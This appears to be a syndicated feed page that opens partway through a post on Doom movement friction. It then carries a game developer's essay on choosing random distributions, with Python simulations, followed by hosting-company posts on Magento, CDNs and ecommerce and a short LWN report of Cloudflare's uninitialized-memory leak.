$$speed \times move factor \times \frac{friction^n – 1}{friction – 1} = (1 – 5\%) \times speed \times \frac{move factor}{1 – friction} \\ friction^n – 1 = -(1 – 5\%) \\ n = \frac{\ln 5\%}{\ln friction}$$

Speed” and move factor disappear entirely, which makes sense, and this is purely a function of friction (and how close we want to get). For vanilla Doom, that comes out to 30.4, which is a little less than a second. For other values of friction:

As friction increases (which in Doom terms means the surface is more slippery), it takes longer and longer to reach stable speed, which is in turn greater and greater. For lesser friction (i.e. mud), stable speed is lower, but reached fairly quickly. (Of course, the extra “getting going” multiplier while in mud adds some extra time here, but including that in the graph is a bit more complicated.)

I think this matches with my instincts above. How fascinating!

What’s that? This is way too much math and you hate it? Then don’t use multipliers in game physics.

## Uh

That was a hell of a diversion!

I guess the goofiest stuff in basic game physics is really just about mapping player controls to in-game actions like jumping and deceleration; the rest consists of hacks to compensate for representing everything as a box.

# Random with care

Post Syndicated from Eevee original https://eev.ee/blog/2018/01/02/random-with-care/

Hi! Here are a few loose thoughts about picking random numbers.

This is all aimed at frivolous pursuits like video games. Hell, even video games where money is at stake should be deferring to someone who knows way more than I do. Otherwise you might find out that your deck shuffles in your poker game are woefully inadequate and some smartass is cheating you out of millions. (If your random number generator has fewer than 226 bits of state, it can’t even generate every possible shuffling of a deck of cards!)

## Use the right distribution

Most languages have a random number primitive that spits out a number uniformly in the range [0, 1), and you can go pretty far with just that. But beware a few traps!

### Random pitches

Say you want to pitch up a sound by a random amount, perhaps up to an octave. Your audio API probably has a way to do this that takes a pitch multiplier, where I say “probably” because that’s how the only audio API I’ve used works.

Easy peasy. If 1 is unchanged and 2 is pitched up by an octave, then all you need is rand() + 1. Right?

No! Pitch is exponential — within the same octave, the “gap” between C and C♯ is about half as big as the gap between B and the following C. If you pick a pitch multiplier uniformly, you’ll have a noticeable bias towards the higher pitches.

One octave corresponds to a doubling of pitch, so if you want to pick a random note, you want 2 ** rand().

### Random directions

For two dimensions, you can just pick a random angle with rand() * TAU.

If you want a vector rather than an angle, or if you want a random direction in three dimensions, it’s a little trickier. You might be tempted to just pick a random point where each component is rand() * 2 - 1 (ranging from −1 to 1), but that’s not quite right. A direction is a point on the surface (or, equivalently, within the volume) of a sphere, and picking each component independently produces a point within the volume of a cube; the result will be a bias towards the corners of the cube, where there’s much more extra volume beyond the sphere.

No? Well, just trust me. I don’t know how to make a diagram for this.

Anyway, you could use the Pythagorean theorem a few times and make a huge mess of things, or it turns out there’s a really easy way that even works for two or four or any number of dimensions. You pick each coordinate from a Gaussian (normal) distribution, then normalize the resulting vector. In other words, using Python’s random module:

 1 2 3 4 5 6 def random_direction(): x = random.gauss(0, 1) y = random.gauss(0, 1) z = random.gauss(0, 1) r = math.sqrt(x*x + y*y + z*z) return x/r, y/r, z/r

Why does this work? I have no idea!

Note that it is possible to get zero (or close to it) for every component, in which case the result is nonsense. You can re-roll all the components if necessary; just check that the magnitude (or its square) is less than some epsilon, which is equivalent to throwing away a tiny sphere at the center and shouldn’t affect the distribution.

### Beware Gauss

Since I brought it up: the Gaussian distribution is a pretty nice one for choosing things in some range, where the middle is the common case and should appear more frequently.

That said, I never use it, because it has one annoying drawback: the Gaussian distribution has no minimum or maximum value, so you can’t really scale it down to the range you want. In theory, you might get any value out of it, with no limit on scale.

In practice, it’s astronomically rare to actually get such a value out. I did a hundred million trials just to see what would happen, and the largest value produced was 5.8.

But, still, I’d rather not knowingly put extremely rare corner cases in my code if I can at all avoid it. I could clamp the ends, but that would cause unnatural bunching at the endpoints. I could reroll if I got a value outside some desired range, but I prefer to avoid rerolling when I can, too; after all, it’s still (astronomically) possible to have to reroll for an indefinite amount of time. (Okay, it’s really not, since you’ll eventually hit the period of your PRNG. Still, though.) I don’t bend over backwards here — I did just say to reroll when picking a random direction, after all — but when there’s a nicer alternative I’ll gladly use it.

And lo, there is a nicer alternative! Enter the beta distribution. It always spits out a number in [0, 1], so you can easily swap it in for the standard normal function, but it takes two “shape” parameters α and β that alter its behavior fairly dramatically.

With α = β = 1, the beta distribution is uniform, i.e. no different from rand(). As α increases, the distribution skews towards the right, and as β increases, the distribution skews towards the left. If α = β, the whole thing is symmetric with a hump in the middle. The higher either one gets, the more extreme the hump (meaning that value is far more common than any other). With a little fiddling, you can get a number of interesting curves.

Screenshots don’t really do it justice, so here’s a little Wolfram widget that lets you play with α and β live:

Note that if α = 1, then 1 is a possible value; if β = 1, then 0 is a possible value. You probably want them both greater than 1, which clamps the endpoints to zero.

Also, it’s possible to have either α or β or both be less than 1, but this creates very different behavior: the corresponding endpoints become poles.

Anyway, something like α = β = 3 is probably close enough to normal for most purposes but already clamped for you. And you could easily replicate something like, say, NetHack’s incredibly bizarre rnz function.

### Random frequency

Say you want some event to have an 80% chance to happen every second. You (who am I kidding, I) might be tempted to do something like this:

 1 2 if random() < 0.8 * dt: do_thing()

In an ideal world, dt is always the same and is equal to 1 / f, where f is the framerate. Replace that 80% with a variable, say P, and every tic you have a P / f chance to do the… whatever it is.

Each second, f tics pass, so you’ll make this check f times. The chance that any check succeeds is the inverse of the chance that every check fails, which is $$1 – \left(1 – \frac{P}{f}\right)^f$$.

For P of 80% and a framerate of 60, that’s a total probability of 55.3%. Wait, what?

Consider what happens if the framerate is 2. On the first tic, you roll 0.4 twice — but probabilities are combined by multiplying, and splitting work up by dt only works for additive quantities. You lose some accuracy along the way. If you’re dealing with something that multiplies, you need an exponent somewhere.

But in this case, maybe you don’t want that at all. Each separate roll you make might independently succeed, so it’s possible (but very unlikely) that the event will happen 60 times within a single second! Or 200 times, if that’s someone’s framerate.

If you explicitly want something to have a chance to happen on a specific interval, you have to check on that interval. If you don’t have a gizmo handy to run code on an interval, it’s easy to do yourself with a time buffer:

 1 2 3 4 5 6 timer += dt # here, 1 is the "every 1 seconds" while timer > 1: timer -= 1 if random() < 0.8: do_thing()

Using while means rolls still happen even if you somehow skipped over an entire second.

(For the curious, and the nerds who already noticed: the expression $$1 – \left(1 – \frac{P}{f}\right)^f$$ converges to a specific value! As the framerate increases, it becomes a better and better approximation for $$1 – e^{-P}$$, which for the example above is 0.551. Hey, 60 fps is pretty accurate — it’s just accurately representing something nowhere near what I wanted. Er, you wanted.)

### Rolling your own

Of course, you can fuss with the classic [0, 1] uniform value however you want. If I want a bias towards zero, I’ll often just square it, or multiply two of them together. If I want a bias towards one, I’ll take a square root. If I want something like a Gaussian/normal distribution, but with clearly-defined endpoints, I might add together n rolls and divide by n. (The normal distribution is just what you get if you roll infinite dice and divide by infinity!)

It’d be nice to be able to understand exactly what this will do to the distribution. Unfortunately, that requires some calculus, which this post is too small to contain, and which I didn’t even know much about myself until I went down a deep rabbit hole while writing, and which in many cases is straight up impossible to express directly.

Here’s the non-calculus bit. A source of randomness is often graphed as a PDF — a probability density function. You’ve almost certainly seen a bell curve graphed, and that’s a PDF. They’re pretty nice, since they do exactly what they look like: they show the relative chance that any given value will pop out. On a bog standard bell curve, there’s a peak at zero, and of course zero is the most common result from a normal distribution.

(Okay, actually, since the results are continuous, it’s vanishingly unlikely that you’ll get exactly zero — but you’re much more likely to get a value near zero than near any other number.)

For the uniform distribution, which is what a classic rand() gives you, the PDF is just a straight horizontal line — every result is equally likely.

If there were a calculus bit, it would go here! Instead, we can cheat. Sometimes. Mathematica knows how to work with probability distributions in the abstract, and there’s a free web version you can use. For the example of squaring a uniform variable, try this out:

 1 PDF[TransformedDistribution[u^2, u \[Distributed] UniformDistribution[{0, 1}]], u]

(The \[Distributed] is a funny tilde that doesn’t exist in Unicode, but which Mathematica uses as a first-class operator. Also, press shiftEnter to evaluate the line.)

This will tell you that the distribution is… $$\frac{1}{2\sqrt{u}}$$. Weird! You can plot it:

 1 Plot[%, {u, 0, 1}]

(The % refers to the result of the last thing you did, so if you want to try several of these, you can just do Plot[PDF[…], u] directly.)

The resulting graph shows that numbers around zero are, in fact, vastly — infinitely — more likely than anything else.

What about multiplying two together? I can’t figure out how to get Mathematica to understand this, but a great amount of digging revealed that the answer is -ln x, and from there you can plot them both on Wolfram Alpha. They’re similar, though squaring has a much better chance of giving you high numbers than multiplying two separate rolls — which makes some sense, since if either of two rolls is a low number, the product will be even lower.

What if you know the graph you want, and you want to figure out how to play with a uniform roll to get it? Good news! That’s a whole thing called inverse transform sampling. All you have to do is take an integral. Good luck!

This is all extremely ridiculous. New tactic: Just Simulate The Damn Thing. You already have the code; run it a million times, make a histogram, and tada, there’s your PDF. That’s one of the great things about computers! Brute-force numerical answers are easy to come by, so there’s no excuse for producing something like rnz. (Though, be sure your histogram has sufficiently narrow buckets — I tried plotting one for rnz once and the weird stuff on the left side didn’t show up at all!)

By the way, I learned something from futzing with Mathematica here! Taking the square root (to bias towards 1) gives a PDF that’s a straight diagonal line, nothing like the hyperbola you get from squaring (to bias towards 0). How do you get a straight line the other way? Surprise: $$1 – \sqrt{1 – u}$$.

### Okay, okay, here’s the actual math

I don’t claim to have a very firm grasp on this, but I had a hell of a time finding it written out clearly, so I might as well write it down as best I can. This was a great excuse to finally set up MathJax, too.

Say $$u(x)$$ is the PDF of the original distribution and $$u$$ is a representative number you plucked from that distribution. For the uniform distribution, $$u(x) = 1$$. Or, more accurately,

$$u(x) = \begin{cases} 1 & \text{ if } 0 \le x \lt 1 \\ 0 & \text{ otherwise } \end{cases}$$

Remember that $$x$$ here is a possible outcome you want to know about, and the PDF tells you the relative probability that a roll will be near it. This PDF spits out 1 for every $$x$$, meaning every number between 0 and 1 is equally likely to appear.

We want to do something to that PDF, which creates a new distribution, whose PDF we want to know. I’ll use my original example of $$f(u) = u^2$$, which creates a new PDF $$v(x)$$.

The trick is that we need to work in terms of the cumulative distribution function for $$u$$. Where the PDF gives the relative chance that a roll will be (“near”) a specific value, the CDF gives the relative chance that a roll will be less than a specific value.

The conventions for this seem to be a bit fuzzy, and nobody bothers to explain which ones they’re using, which makes this all the more confusing to read about… but let’s write the CDF with a capital letter, so we have $$U(x)$$. In this case, $$U(x) = x$$, a straight 45° line (at least between 0 and 1). With the definition I gave, this should make sense. At some arbitrary point like 0.4, the value of the PDF is 1 (0.4 is just as likely as anything else), and the value of the CDF is 0.4 (you have a 40% chance of getting a number from 0 to 0.4).

Calculus ahoy: the PDF is the derivative of the CDF, which means it measures the slope of the CDF at any point. For $$U(x) = x$$, the slope is always 1, and indeed $$u(x) = 1$$. See, calculus is easy.

Okay, so, now we’re getting somewhere. What we want is the CDF of our new distribution, $$V(x)$$. The CDF is defined as the probability that a roll $$v$$ will be less than $$x$$, so we can literally write:

$$V(x) = P(v \le x)$$

(This is why we have to work with CDFs, rather than PDFs — a PDF gives the chance that a roll will be “nearby,” whatever that means. A CDF is much more concrete.)

What is $$v$$, exactly? We defined it ourselves; it’s the do something applied to a roll from the original distribution, or $$f(u)$$.

$$V(x) = P\!\left(f(u) \le x\right)$$

Now the first tricky part: we have to solve that inequality for $$u$$, which means we have to do something, backwards to $$x$$.

$$V(x) = P\!\left(u \le f^{-1}(x)\right)$$

Almost there! We now have a probability that $$u$$ is less than some value, and that’s the definition of a CDF!

$$V(x) = U\!\left(f^{-1}(x)\right)$$

Hooray! Now to turn these CDFs back into PDFs, all we need to do is differentiate both sides and use the chain rule. If you never took calculus, don’t worry too much about what that means!

$$v(x) = u\!\left(f^{-1}(x)\right)\left|\frac{d}{dx}f^{-1}(x)\right|$$

Wait! Where did that absolute value come from? It takes care of whether $$f(x)$$ increases or decreases. It’s the least interesting part here by far, so, whatever.

There’s one more magical part here when using the uniform distribution — $$u(\dots)$$ is always equal to 1, so that entire term disappears! (Note that this only works for a uniform distribution with a width of 1; PDFs are scaled so the entire area under them sums to 1, so if you had a rand() that could spit out a number between 0 and 2, the PDF would be $$u(x) = \frac{1}{2}$$.)

$$v(x) = \left|\frac{d}{dx}f^{-1}(x)\right|$$

So for the specific case of modifying the output of rand(), all we have to do is invert, then differentiate. The inverse of $$f(u) = u^2$$ is $$f^{-1}(x) = \sqrt{x}$$ (no need for a ± since we’re only dealing with positive numbers), and differentiating that gives $$v(x) = \frac{1}{2\sqrt{x}}$$. Done! This is also why square root comes out nicer; inverting it gives $$x^2$$, and differentiating that gives $$2x$$, a straight line.

Incidentally, that method for turning a uniform distribution into any distribution — inverse transform sampling — is pretty much the same thing in reverse: integrate, then invert. For example, when I saw that taking the square root gave $$v(x) = 2x$$, I naturally wondered how to get a straight line going the other way, $$v(x) = 2 – 2x$$. Integrating that gives $$2x – x^2$$, and then you can use the quadratic formula (or just ask Wolfram Alpha) to solve $$2x – x^2 = u$$ for $$x$$ and get $$f(u) = 1 – \sqrt{1 – u}$$.

Multiply two rolls is a bit more complicated; you have to write out the CDF as an integral and you end up doing a double integral and wow it’s a mess. The only thing I’ve retained is that you do a division somewhere, which then gets integrated, and that’s why it ends up as $$-\ln x$$.

And that’s quite enough of that! (Okay but having math in my blog is pretty cool and I will definitely be doing more of this, sorry, not sorry.)

## Random vs varied

Sometimes, random isn’t actually what you want. We tend to use the word “random” casually to mean something more like chaotic, i.e., with no discernible pattern. But that’s not really random. In fact, given how good humans can be at finding incidental patterns, they aren’t all that unlikely! Consider that when you roll two dice, they’ll come up either the same or only one apart almost half the time. Coincidence? Well, yes.

If you ask for randomness, you’re saying that any outcome — or series of outcomes — is acceptable, including five heads in a row or five tails in a row. Most of the time, that’s fine. Some of the time, it’s less fine, and what you really want is variety. Here are a couple examples and some fairly easy workarounds.

### NPC quips

The nature of games is such that NPCs will eventually run out of things to say, at which point further conversation will give the player a short brush-off quip — a slight nod from the designer to the player that, hey, you hit the end of the script.

Some NPCs have multiple possible quips and will give one at random. The trouble with this is that it’s very possible for an NPC to repeat the same quip several times in a row before abruptly switching to another one. With only a few options to choose from, getting the same option twice or thrice (especially across an entire game, which may have numerous NPCs) isn’t all that unlikely. The notion of an NPC quip isn’t very realistic to start with, but having someone repeat themselves and then abruptly switch to something else is especially jarring.

The easy fix is to show the quips in order! Paradoxically, this is more consistently varied than choosing at random — the original “order” is likely to be meaningless anyway, and it already has the property that the same quip can never appear twice in a row.

If you like, you can shuffle the list of quips every time you reach the end, but take care here — it’s possible that the last quip in the old order will be the same as the first quip in the new order, so you may still get a repeat. (Of course, you can just check for this case and swap the first quip somewhere else if it bothers you.)

That last behavior is, in fact, the canonical way that Tetris chooses pieces — the game simply shuffles a list of all 7 pieces, gives those to you in shuffled order, then shuffles them again to make a new list once it’s exhausted. There’s no avoidance of duplicates, though, so you can still get two S blocks in a row, or even two S and two Z all clumped together, but no more than that. Some Tetris variants take other approaches, such as actively avoiding repeats even several pieces apart or deliberately giving you the worst piece possible.

### Random drops

Random drops are often implemented as a flat chance each time. Maybe enemies have a 5% chance to drop health when they die. Legally speaking, over the long term, a player will see health drops for about 5% of enemy kills.

Over the short term, they may be desperate for health and not survive to see the long term. So you may want to put a thumb on the scale sometimes. Games in the Metroid series, for example, have a somewhat infamous bias towards whatever kind of drop they think you need — health if your health is low, missiles if your missiles are low.

I can’t give you an exact approach to use, since it depends on the game and the feeling you’re going for and the variables at your disposal. In extreme cases, you might want to guarantee a health drop from a tough enemy when the player is critically low on health. (Or if you’re feeling particularly evil, you could go the other way and deny the player health when they most need it…)

The problem becomes a little different, and worse, when the event that triggers the drop is relatively rare. The pathological case here would be something like a raid boss in World of Warcraft, which requires hours of effort from a coordinated group of people to defeat, and which has some tiny chance of dropping a good item that will go to only one of those people. This is why I stopped playing World of Warcraft at 60.

Dialing it back a little bit gives us Enter the Gungeon, a roguelike where each room is a set of encounters and each floor only has a dozen or so rooms. Initially, you have a 1% chance of getting a reward after completing a room — but every time you complete a room and don’t get a reward, the chance increases by 9%, up to a cap of 80%. Once you get a reward, the chance resets to 1%.

The natural question is: how frequently, exactly, can a player expect to get a reward? We could do math, or we could Just Simulate The Damn Thing.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from collections import Counter import random histogram = Counter() TRIALS = 1000000 chance = 1 rooms_cleared = 0 rewards_found = 0 while rewards_found < TRIALS: rooms_cleared += 1 if random.random() * 100 < chance: # Reward! rewards_found += 1 histogram[rooms_cleared] += 1 rooms_cleared = 0 chance = 1 else: chance = min(80, chance + 9) for gaps, count in sorted(histogram.items()): print(f"{gaps:3d} | {count / TRIALS * 100:6.2f}%", '#' * (count // (TRIALS // 100)))
 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 | 0.98% 2 | 9.91% ######### 3 | 17.00% ################ 4 | 20.23% #################### 5 | 19.21% ################### 6 | 15.05% ############### 7 | 9.69% ######### 8 | 5.07% ##### 9 | 2.09% ## 10 | 0.63% 11 | 0.12% 12 | 0.03% 13 | 0.00% 14 | 0.00% 15 | 0.00%

We’ve got kind of a hilly distribution, skewed to the left, which is up in this histogram. Most of the time, a player should see a reward every three to six rooms, which is maybe twice per floor. It’s vanishingly unlikely to go through a dozen rooms without ever seeing a reward, so a player should see at least one per floor.

Of course, this simulated a single continuous playthrough; when starting the game from scratch, your chance at a reward always starts fresh at 1%, the worst it can be. If you want to know about how many rewards a player will get on the first floor, hey, Just Simulate The Damn Thing.

 1 2 3 4 5 6 7 0 | 0.01% 1 | 13.01% ############# 2 | 56.28% ######################################################## 3 | 27.49% ########################### 4 | 3.10% ### 5 | 0.11% 6 | 0.00%

Cool. Though, that’s assuming exactly 12 rooms; it might be worth changing that to pick at random in a way that matches the level generator.

(Enter the Gungeon does some other things to skew probability, which is very nice in a roguelike where blind luck can make or break you. For example, if you kill a boss without having gotten a new gun anywhere else on the floor, the boss is guaranteed to drop a gun.)

### Critical hits

I suppose this is the same problem as random drops, but backwards.

Say you have a battle sim where every attack has a 6% chance to land a devastating critical hit. Presumably the same rules apply to both the player and the AI opponents.

Consider, then, that the AI opponents have exactly the same 6% chance to ruin the player’s day. Consider also that this gives them an 0.4% chance to critical hit twice in a row. 0.4% doesn’t sound like much, but across an entire playthrough, it’s not unlikely that a player might see it happen and find it incredibly annoying.

Perhaps it would be worthwhile to explicitly forbid AI opponents from getting consecutive critical hits.

## In conclusion

An emerging theme here has been to Just Simulate The Damn Thing. So consider Just Simulating The Damn Thing. Even a simple change to a random value can do surprising things to the resulting distribution, so unless you feel like differentiating the inverse function of your code, maybe test out any non-trivial behavior and make sure it’s what you wanted. Probability is hard to reason about.

# Magento Imagine Round Up

Post Syndicated from Sarah Wilson original https://www.anchor.com.au/blog/2017/04/magento-imagine-summary/

When it comes to Magento, what happens in Vegas certainly doesn’t stay there! This year the Magento Imagine conference was yet again, no exception to the rule.

This year we, and over 2500 attendees heard the likes of Tennis pro, Serena Williams and Magento CEO, Mark Lavelle discussing the importance of thinking differently and outside the box.

### Missed out on the event?

#### Here’s what some of our partners had to say about Magento Imagine:

Daniel Mylnikov- Head of Solutions Delivery at eWave, the Magento APAC  Partner of the Year at this year’s conference.

A highlight of the conference were  the breakout sessions on Magento Business Intelligence, The Future of Active Magento Cyber Security and the Special Preview: See New Magento B2B Capabilities in Action.

Derek Nolde the Enterprise Sales Director at Section.io, said, “It was great connecting with all the merchants and developers and learning what they are doing with Magento and how they view website performance within their Magento setup.” Everyone loves a good freebie at a conference, and this year, the most popular (with Derek adding to the tally) was the Super Llama’s from Classy Llama.

Peter Dumanian- Business Development at Cloudflare“The most exciting thing I learned was to see Magento energized after its spin-off. On a more personal note, I was happy to have lots of happy Magento customers who use Cloudflare (we have 12k of them) come by our booth and say good things.”

We hope the next 300+ days roll around quickly because we cannot wait to hit up Magento Imagine 2018 in Vegas next year, and see what improvements and announcements Magento has in store for us!

Interested in becoming on of our partners? Sign up here for our brand new relaunch coming soon!

The post Magento Imagine Round Up appeared first on AWS Managed Services by Anchor.

# The Importance of a CDN: Speed and Security

Post Syndicated from Sarah Wilson original https://www.anchor.com.au/blog/2017/03/importance-cdn-website-speed-security/

As a hosting provider, we speak with many businesses who need a fix for their slow site speeds. There are many contributing factors why hosting infrastructure may be constraining your site performance but typically; old infrastructure used by some hosting providers, contention issues and even the physical location of the servers.  Having your site hosted in a high-speed environment with world class managed services (such as Anchor) provides the right foundations and utilising a Content Delivery Network (CDN) that can give you that extra boost in speed and performance you desire – and deserve. One of the more popular site performance applications is Cloudflare; global network designed to optimize security, performance and reliability, without the bloat of legacy technologies. Cloudflare  has some robust CDN capabilities in addition to other security services like DDoS (Distributed Denial of Service) protection and reverse proxies.

A traditional CDN is a group of web servers distributed across multiple locations around the world, which delivers content more efficiently to users. The server selected for delivering content to a specific user is typically based on a measure of network proximity. For example, the server with the fewest network hops or the server with the quickest response time is chosen.

If you are looking to take advantage of a CDN,  a great place to to start is Cloudflare’s free plan. This basic plan can be set up in less than 5 minutes and only requires a simple change to your domain’s DNS settings to get you up and running. There is no hardware or software to install or maintain and you do not need to change any of your site’s existing code. As a partner of Cloudflare, we can offer discounted pricing to our customers if you are looking to take advantage of some of Cloudflare’s advanced performance and security features such as image optimisations, firewalls and PCI compliance to name just a few.

CloudFlare utilises more than 40 data centres in almost as many countries, and use the size of their ‘quietly built cloud’ to process more than 5% of all web requests. It includes:

• A Global CDN
• DDoS Protection
• Page Rules

#### DDoS Protection- Why do I need it and how to protect against attack?

In 2015 the internet saw the highest rate of DDoS attacks ever. Generally, the attackers will flood a network or service (usually with thousands of IP addresses) in order to overwhelm the server and make a network or website unavailable for its users. It is extremely important to make sure your site is protected from such an attack, especially if your site is eCommerce and down time will prevent customers completing their purchases.

#### What are Global CDN’s?

As mentioned above, Content Delivery Networks (CDNs) are important for a number of reasons. The primary feature that a CDN does, is provides alternative server nodes, or locations for the user to download resources (usually JavaScript or static content). This means that although the server may be located in the US, someone in Sydney can still experience fast load speed and response times due to this reduced latency.  This is extremely important for sites that have users in other countries, especially those who are shopping online, as these sites generally have a large volumes of images, which can be timely to load. Overall, it improves your user’s experience in terms of speed.

#### Page Rules

Page Rules give you the ability to control how Cloudflare actually works on a URL or subdomain basis, which means it allows you to customise it’s functionality to match your domain’s unique needs. They give you the ability to take various actions based on the page’s URL, such as creating redirects, fine tuning caching behavior, or enabling and disabling our various services. This helps you to optimize speed, harden security, increase reliability, maximize bandwidth savings, and much more.

Other benefits include, the added scalability or capacity effects that a CDN like Cloudflare has, not only does it have higher availability but also lower packet loss. Further, Cloudflare provides website traffic insight and other analytics such as threat monitoring, so that you can improve your site even further.

As a partner of Cloudflare, Anchor receives discounted rates for the Pro and Business plans, as well as can help you install the free plan if you are a customer.  The easiest part about Cloudflare however, is that it only requires a simple change to your domain’s DNS settings. There is no hardware or software to install or maintain and you do not need to change any of your site’s existing code.

If your site is running slow and want know how you can boost your site performance, contact us for a free, no obligation site hosting check up.

The post The Importance of a CDN: Speed and Security appeared first on AWS Managed Services by Anchor.

# Cloudflare Reverse Proxies are Dumping Uninitialized Memory

Post Syndicated from ris original https://lwn.net/Articles/715535/rss

Thanks to Josh Triplett for sending us this chromium
bug report
about a dump of unitialized memory caused by Cloudflare’s
reverse proxies. “A while later, we figured out how to reproduce the
problem. It looked like that if an html page hosted behind cloudflare had a
specific combination of unbalanced tags, the proxy would intersperse pages
of uninitialized memory into the output (kinda like heartbleed, but
cloudflare specific and worse for reasons I’ll explain later). My working
theory was that this was related to their “ScrapeShield” feature which
parses and obfuscates html – but because reverse proxies are shared between
customers, it would affect *all* Cloudflare customers. We fetched a few live samples, and we observed encryption keys, cookies, passwords, chunks of POST data and even HTTPS requests for other major cloudflare-hosted sites from other users. Once we understood what we were seeing and the implications, we immediately stopped and contacted cloudflare security.

# Tips on Winning the ecommerce Game

Post Syndicated from Sarah Wilson original http://www.anchor.com.au/blog/2017/02/tips-ecommerce-hosting-game/

The ecommerce world is constantly changing and evolving, which is exactly why you must keep on top of the game. Arguably, choosing a reliable host is the most important decision that an eCommerce business has, that’s why we have noted 5 major reasons as to why a quality hosting provider is vital.

#### High Availability

The most important thing to think about when choosing a host and your infrastructure, is “How much is it going to cost me when my site goes down”.
If your site is down, especially over a large period of time, you could be losing customers and profits. One way to minimise this is to create a highly available environment on the cloud. This means that there is a ‘redundancy’ plan in place to minimise the chances of your site being offline for even a minute.

#### SEO Ranking

Having a good SEO ranking isn’t purely based on your content. If your site is extremely slow to load, or doesn’t load at all, the ‘secret Google bots’, will push your site further and further down the results page. We recommend using a CDN (Content Delivery Network) such as Cloudflare to help improve performance.

#### Security

This may seem like a fairly obvious concern, but making sure you have regular security updates and patches is vital, especially, if credit cards or money transfers are involved on your site. Obviously there is no one way to combat every security concern on the internet, however, making sure you have regular back ups and 24/7 support will help any situation.

#### Scalability

What happens when you have a sale or run an advertising campaign and suddenly have a flurry of traffic to your site? In order for your site to be able to cope with the new influx, it needs to be scalable. A good hosting provider can make your site scalable so that there is no downtime when your site is hit with a heavy traffic load. Generally, the best direction to follow when scalability is a priority, is the cloud or Amazon Web Services. The best part of it is, not only do you only pay for what you use, but hosting on the Amazon infrastructure also gives you an SLA (Service Level Agreement) of 99.95% uptime guarantee.

#### Stress-Free Support

Finally, a good hosting provider will take away any stress that is related to hosting. If your site goes down at 3am, you don’t want to be the person having to deal with it. At Anchor, we have a team of expert Sysadmins available 24/7 to take the stress out of keeping your site up and online.

With these 5 points in mind, you can now make 2017 your year, and beat the game that is eCommerce.

If you have security concerns, experiencing slow page loads or even downtime, we can perform a free ecommerce site assessment to help define a hosting roadmap that will allow you to speed ahead of the competition. If you would simply like to learn more about eCommerce hosting on Anchor’s award winning hosting network, simply contact our friendly staff will get back to you ASAP.

The post Tips on Winning the ecommerce Game appeared first on AWS Managed Services by Anchor.

# Tips on Winning the ecommerce Game

Post Syndicated from Sarah Wilson original https://www.anchor.com.au/blog/2017/02/tips-ecommerce-hosting-game/

The ecommerce world is constantly changing and evolving, which is exactly why you must keep on top of the game. Arguably, choosing a reliable host is the most important decision that an eCommerce business has, that’s why we have noted 5 major reasons as to why a quality hosting provider is vital.

#### High Availability

The most important thing to think about when choosing a host and your infrastructure, is “How much is it going to cost me when my site goes down”.
If your site is down, especially over a large period of time, you could be losing customers and profits. One way to minimise this is to create a highly available environment on the cloud. This means that there is a ‘redundancy’ plan in place to minimise the chances of your site being offline for even a minute.

#### SEO Ranking

Having a good SEO ranking isn’t purely based on your content. If your site is extremely slow to load, or doesn’t load at all, the ‘secret Google bots’, will push your site further and further down the results page. We recommend using a CDN (Content Delivery Network) such as Cloudflare to help improve performance.

#### Security

This may seem like a fairly obvious concern, but making sure you have regular security updates and patches is vital, especially, if credit cards or money transfers are involved on your site. Obviously there is no one way to combat every security concern on the internet, however, making sure you have regular back ups and 24/7 support will help any situation.

#### Scalability

What happens when you have a sale or run an advertising campaign and suddenly have a flurry of traffic to your site? In order for your site to be able to cope with the new influx, it needs to be scalable. A good hosting provider can make your site scalable so that there is no downtime when your site is hit with a heavy traffic load. Generally, the best direction to follow when scalability is a priority, is the cloud or Amazon Web Services. The best part of it is, not only do you only pay for what you use, but hosting on the Amazon infrastructure also gives you an SLA (Service Level Agreement) of 99.95% uptime guarantee.

#### Stress-Free Support

Finally, a good hosting provider will take away any stress that is related to hosting. If your site goes down at 3am, you don’t want to be the person having to deal with it. At Anchor, we have a team of expert Sysadmins available 24/7 to take the stress out of keeping your site up and online.

With these 5 points in mind, you can now make 2017 your year, and beat the game that is eCommerce.

If you have security concerns, experiencing slow page loads or even downtime, we can perform a free ecommerce site assessment to help define a hosting roadmap that will allow you to speed ahead of the competition. If you would simply like to learn more about eCommerce hosting on Anchor’s award winning hosting network, simply contact our friendly staff will get back to you ASAP.

The post Tips on Winning the ecommerce Game appeared first on AWS Managed Services by Anchor.